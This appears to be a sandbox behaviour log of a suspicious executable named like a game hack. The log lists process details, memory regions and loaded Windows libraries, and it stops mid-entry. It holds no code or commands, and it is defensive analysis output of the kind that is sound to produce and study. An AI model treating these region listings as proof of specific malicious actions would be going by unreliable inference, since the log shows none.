# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Feb 15 2019 13:52:06 # Log Creation Date: 17.02.2019 13:35:38.273 Process: id = "1" image_name = "globalhack[rueunavn][17.02.2019] .exe" filename = "c:\\users\\ciihmnxmn6ps\\desktop\\globalhack[rueunavn][17.02.2019] .exe" page_root = "0x2b080000" os_pid = "0xe10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GlobalHack[RUEUNAVN][17.02.2019] .exe\" " cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4 start_va = 0x60000 end_va = 0x9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 5 start_va = 0xa0000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 6 start_va = 0x1a0000 end_va = 0x1a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 7 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8 start_va = 0x400000 end_va = 0x48efff entry_point = 0x400000 region_type = mapped_file name = "globalhack[rueunavn][17.02.2019] .exe" filename = "\\Users\\CIiHmnxMn6Ps\\Desktop\\GlobalHack[RUEUNAVN][17.02.2019] .exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\globalhack[rueunavn][17.02.2019] .exe") Region: id = 9 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 10 start_va = 0x7ffb0000 end_va = 0x7ffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 11 start_va = 0x7ffdb000 end_va = 0x7ffddfff entry_point = 0x0 region_type = private name = "private_0x000000007ffdb000" filename = "" Region: id = 12 start_va = 0x7ffde000 end_va = 0x7ffdefff entry_point = 0x0 region_type = private name = "private_0x000000007ffde000" filename = "" Region: id = 13 start_va = 0x7ffdf000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007ffdf000" filename = "" Region: id = 14 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 15 start_va = 0x7fff0000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 16 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 17 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 157 start_va = 0x2d0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 158 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 159 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 160 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 161 start_va = 0x560000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 162 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 163 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 164 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 165 start_va = 0x1c0000 end_va = 0x27dfff entry_point = 0x1c0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 166 start_va = 0x746b0000 end_va = 0x74740fff entry_point = 0x746b0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 167 start_va = 0x7feb0000 end_va = 0x7ffaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 168 start_va = 0x20000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 169 start_va = 0x280000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 170 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 171 start_va = 0x74270000 end_va = 0x743dafff entry_point = 0x74270000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\gdiplus.dll") Region: id = 172 start_va = 0x743e0000 end_va = 0x74603fff entry_point = 0x743e0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 173 start_va = 0x74750000 end_va = 0x747a8fff entry_point = 0x74750000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 174 start_va = 0x747b0000 end_va = 0x747b9fff entry_point = 0x747b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 175 start_va = 0x747c0000 end_va = 0x747ddfff entry_point = 0x747c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 176 start_va = 0x74880000 end_va = 0x749f4fff entry_point = 0x74880000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 177 start_va = 0x74a00000 end_va = 0x74aabfff entry_point = 0x74a00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 178 start_va = 0x74ab0000 end_va = 0x74abbfff entry_point = 0x74ab0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 179 start_va = 0x74d90000 end_va = 0x74d95fff entry_point = 0x74d90000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 180 start_va = 0x74da0000 end_va = 0x74de3fff entry_point = 0x74da0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 181 start_va = 0x75030000 end_va = 0x7517cfff entry_point = 0x75030000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 182 start_va = 0x75180000 end_va = 0x7518efff entry_point = 0x75180000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 183 start_va = 0x75310000 end_va = 0x766cefff entry_point = 0x75310000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 184 start_va = 0x76790000 end_va = 0x76c6cfff entry_point = 0x76790000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 185 start_va = 0x76c70000 end_va = 0x76daffff entry_point = 0x76c70000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 186 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 187 start_va = 0x77070000 end_va = 0x7707dfff entry_point = 0x77070000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 188 start_va = 0x77170000 end_va = 0x77259fff entry_point = 0x77170000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 189 start_va = 0x77260000 end_va = 0x772a3fff entry_point = 0x77260000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 190 start_va = 0x772b0000 end_va = 0x772f2fff entry_point = 0x772b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 191 start_va = 0x77300000 end_va = 0x7738cfff entry_point = 0x77300000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 192 start_va = 0x77390000 end_va = 0x77549fff entry_point = 0x77390000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 193 start_va = 0x77550000 end_va = 0x775cafff entry_point = 0x77550000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 194 start_va = 0x7ffd8000 end_va = 0x7ffdafff entry_point = 0x0 region_type = private name = "private_0x000000007ffd8000" filename = "" Region: id = 195 start_va = 0x660000 end_va = 0x7e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 196 start_va = 0x9a0000 end_va = 0x9affff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 197 start_va = 0x74df0000 end_va = 0x74f0ffff entry_point = 0x74df0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 198 start_va = 0x74f10000 end_va = 0x74f3afff entry_point = 0x74f10000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 199 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 200 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 201 start_va = 0x7f0000 end_va = 0x970fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 202 start_va = 0x9b0000 end_va = 0x1daffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 203 start_va = 0x1db0000 end_va = 0x1e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 204 start_va = 0x1e90000 end_va = 0x1f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 205 start_va = 0x73fa0000 end_va = 0x74260fff entry_point = 0x73fa0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 206 start_va = 0x1f90000 end_va = 0x22c6fff entry_point = 0x1f90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 207 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 208 start_va = 0x770d0000 end_va = 0x77161fff entry_point = 0x770d0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 209 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x3f0000 region_type = mapped_file name = "counters.dat" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 210 start_va = 0x74d30000 end_va = 0x74d8bfff entry_point = 0x74d30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 211 start_va = 0x770c0000 end_va = 0x770c6fff entry_point = 0x770c0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 212 start_va = 0x73f80000 end_va = 0x73f90fff entry_point = 0x73f80000 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 213 start_va = 0x73f50000 end_va = 0x73f7ffff entry_point = 0x73f50000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 214 start_va = 0x73f40000 end_va = 0x73f47fff entry_point = 0x73f40000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 215 start_va = 0x73e90000 end_va = 0x73f36fff entry_point = 0x73e90000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 216 start_va = 0x490000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 217 start_va = 0x22d0000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 218 start_va = 0x7ffd5000 end_va = 0x7ffd7fff entry_point = 0x0 region_type = private name = "private_0x000000007ffd5000" filename = "" Region: id = 219 start_va = 0x73e40000 end_va = 0x73e8dfff entry_point = 0x73e40000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 220 start_va = 0x4d0000 end_va = 0x50ffff entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 221 start_va = 0x510000 end_va = 0x51ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 222 start_va = 0x23d0000 end_va = 0x24cffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 223 start_va = 0x7fead000 end_va = 0x7feaffff entry_point = 0x0 region_type = private name = "private_0x000000007fead000" filename = "" Region: id = 224 start_va = 0x520000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 225 start_va = 0x24d0000 end_va = 0x25cffff entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 226 start_va = 0x73db0000 end_va = 0x73e33fff entry_point = 0x73db0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 227 start_va = 0x7feaa000 end_va = 0x7feacfff entry_point = 0x0 region_type = private name = "private_0x000000007feaa000" filename = "" Region: id = 228 start_va = 0x73c50000 end_va = 0x73daffff entry_point = 0x73c50000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 229 start_va = 0x980000 end_va = 0x980fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 230 start_va = 0x73c40000 end_va = 0x73c47fff entry_point = 0x73c40000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 231 start_va = 0x73bd0000 end_va = 0x73beafff entry_point = 0x73bd0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 232 start_va = 0x73bf0000 end_va = 0x73c35fff entry_point = 0x73bf0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 233 start_va = 0x990000 end_va = 0x991fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 234 start_va = 0x739c0000 end_va = 0x73bc8fff entry_point = 0x739c0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 235 start_va = 0x1db0000 end_va = 0x1db2fff entry_point = 0x1db0000 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui") Region: id = 236 start_va = 0x1dc0000 end_va = 0x1dc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dc0000" filename = "" Region: id = 237 start_va = 0x1e80000 end_va = 0x1e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 238 start_va = 0x1dd0000 end_va = 0x1dd3fff entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 239 start_va = 0x1de0000 end_va = 0x1de2fff entry_point = 0x1de0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 240 start_va = 0x1df0000 end_va = 0x1df8fff entry_point = 0x1df0000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 241 start_va = 0x1de0000 end_va = 0x1de2fff entry_point = 0x1de0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 242 start_va = 0x1df0000 end_va = 0x1df8fff entry_point = 0x1df0000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 243 start_va = 0x1de0000 end_va = 0x1df0fff entry_point = 0x1de0000 region_type = mapped_file name = "c_20127.nls" filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls") Region: id = 244 start_va = 0x25d0000 end_va = 0x27cffff entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 245 start_va = 0x27d0000 end_va = 0x285efff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 246 start_va = 0x2860000 end_va = 0x28f4fff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 247 start_va = 0x2900000 end_va = 0x2998fff entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 248 start_va = 0x27d0000 end_va = 0x286efff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 249 start_va = 0x2870000 end_va = 0x2914fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 250 start_va = 0x2920000 end_va = 0x29c8fff entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 251 start_va = 0x27d0000 end_va = 0x288cfff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 252 start_va = 0x2890000 end_va = 0x2953fff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 253 start_va = 0x2960000 end_va = 0x2a2bfff entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 254 start_va = 0x27d0000 end_va = 0x2899fff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 255 start_va = 0x28a0000 end_va = 0x2970fff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 256 start_va = 0x2980000 end_va = 0x2a5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 257 start_va = 0x27d0000 end_va = 0x28b6fff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 258 start_va = 0x28c0000 end_va = 0x29aefff entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 259 start_va = 0x27d0000 end_va = 0x28b9fff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 260 start_va = 0x28c0000 end_va = 0x29bbfff entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 261 start_va = 0x29c0000 end_va = 0x2abdfff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 262 start_va = 0x27d0000 end_va = 0x28d7fff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 263 start_va = 0x28e0000 end_va = 0x29f6fff entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 264 start_va = 0x2a00000 end_va = 0x2b1dfff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 265 start_va = 0x27d0000 end_va = 0x28f1fff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 266 start_va = 0x2900000 end_va = 0x2a22fff entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 267 start_va = 0x27d0000 end_va = 0x28fafff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 268 start_va = 0x2900000 end_va = 0x2a37fff entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 269 start_va = 0x2a40000 end_va = 0x2b74fff entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 270 start_va = 0x1e00000 end_va = 0x1e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 271 start_va = 0x27d0000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 272 start_va = 0x1e00000 end_va = 0x1e13fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 273 start_va = 0x1e20000 end_va = 0x1e27fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 274 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 275 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 276 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 277 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 278 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 279 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 280 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 281 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 282 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 283 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 284 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 285 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 286 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 287 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 288 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 289 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 290 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 291 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 292 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 293 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 294 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 295 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 296 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 297 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = 